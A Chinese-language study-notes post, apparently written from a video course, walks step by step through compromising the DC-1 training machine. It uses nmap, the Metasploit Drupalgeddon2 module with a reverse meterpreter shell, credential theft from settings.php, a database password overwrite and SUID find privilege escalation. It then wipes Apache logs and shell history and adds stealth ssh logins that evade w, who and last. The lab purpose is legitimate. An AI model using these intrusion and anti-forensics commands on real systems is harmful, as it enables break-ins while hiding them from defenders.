Bootstrap

泷羽sec渗透DC靶场(1)完全保姆级学习笔记

前言

本次学习的是在b站up主泷羽sec课程完整版跳转链接有感而发,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
!!注意:蓝色点击均可进入相关对应网站。

一、靶机下载

DC靶场1-9(全)
靶机官网下载(这个很慢不如上面)

二、开始操作

解压下载好的
双击在这里插入图片描述
在这里插入图片描述
开启靶机,网络连接修改为桥接模式
在这里插入图片描述

arp-scan -l  看一下网络中的设备及其对应的 MAC 地址

在这里插入图片描述
在这里插入图片描述
MAC地址一样没问题

nmap 192.168.0.119 -p- -v

在这里插入图片描述
有80端口访问一下
在这里插入图片描述
尝试了一下万能密码,然后看一下版本系统:Drupal
在这里插入图片描述

爆破目录

dirb http://192.168.0.119:80
扫描到一个robots.txt和web.config没有什么作用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

扫描漏洞

whatweb -v 192.168.0.119

在这里插入图片描述

msfconsole
search Drupal
show payloads
use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload
set payload/php/meterpreter/reverse_tcp  
run
optios
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
run
set rhosts 你攻击的ip
getuid

后渗透

sysinfo
shell
完事可以使用python调用系统终端
python -c "import pty;pty.spawn('/bin/bash')"
ls看看都有啥
cat flag1.txt

他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下

find . -name 'set*'
cat ./sites/default/settings.php
复制一下数据是masyql的
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

进入mysql

用户名dbuser  密码R0ck3t
mysql -udbuser -pR0ck3t

查一下表

show databases
;
use drupaldb
show tables;
select * from users;   等于  select * from users\G;

在这里插入图片描述在这里插入图片描述

解不出,看下hash
exit
find . -name '*hash*'
cat ./scripts/password-hash.sh  没啥东西
cd ./scripts   看下目录
./scripts/password-hash.sh 123456

在这里插入图片描述在这里插入图片描述

获取密码并去mysql修改密码

password: 123456                
hash: $S$DVi1ZUQrDwmZj0tT/lAvD.pztpGqoZwMJk/pJXJfoA3MYGG9Jnm7

mysql -udbuser -pR0ck3t
USE drupaldb;
UPDATE users 
SET pass = '$S$DVi1ZUQrDwmZj0tT/lAvD.pztpGqoZwMJk/pJXJfoA3MYGG9Jnm7' 
WHERE name = 'admin';

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
翻译一下
在这里插入图片描述

根据提示找flag4

cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
ls -l /etc/passwd

在这里插入图片描述
查看这个文件的权限,尝试追加用户提权,但是只能root读写
在这里插入图片描述

find / -perm -u=s -type f  2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。

使用find提权

find / -exec "/bin/bash" -p \;

在这里插入图片描述

cd /root
ls
cat thefinalflag.txt

在这里插入图片描述

三、痕迹清楚

观察一下我们刚刚使用过的操作,登录数据库(数据库日志),msf漏洞利用(kaliweb请求),命令使用(history)
清理web请求(阿帕奇日志)

find / -name 'access*'
cat /var/log/apache2/access.log
sed -i '/192.168.0.119/d' /var/log/apache2/access.log
sed -i '/192.168.0.100/d' /var/log/apache2/access.log
筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录
cat /var/log/apache2/access.log

在这里插入图片描述

清理错误请求日志

find / -name 'error*'
cat /var/log/apache2/error.log

一大堆kali攻击日志

sed -i '/192.168.0.100/d' /var/log/apache2/error.log

在这里插入图片描述

密码还原(之前数据库改成123456了还原一下)

mysql -udbuser -pR0ck3t
USE drupaldb;
UPDATE users 
SET pass = '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' 
WHERE name = 'admin';

清楚数据库日志

mysql -udbuser -pR0ck3t
show binary logs;
show variables like '%log%'; 查看日志状态

在这里插入图片描述

清楚命令历史

history
history -c # 清除命令历史

登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

nmap扫描日志

用自己的kali
cd /tmp
find . -name 'namp'
find . -name '*namp*'
history -c

扩展

ssh -T root@192.168.0.1 /bin/bash -i 
隐身登录系统,不会被w、who、last等指令检测到。

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
不记录ssh公钥在本地.ssh目录中

总结

今天也是艰难的把DC靶场一打下来了,一步步的复刻就很难,今天也是学到了很多知识,又是开心的一天,明天继续努力。

;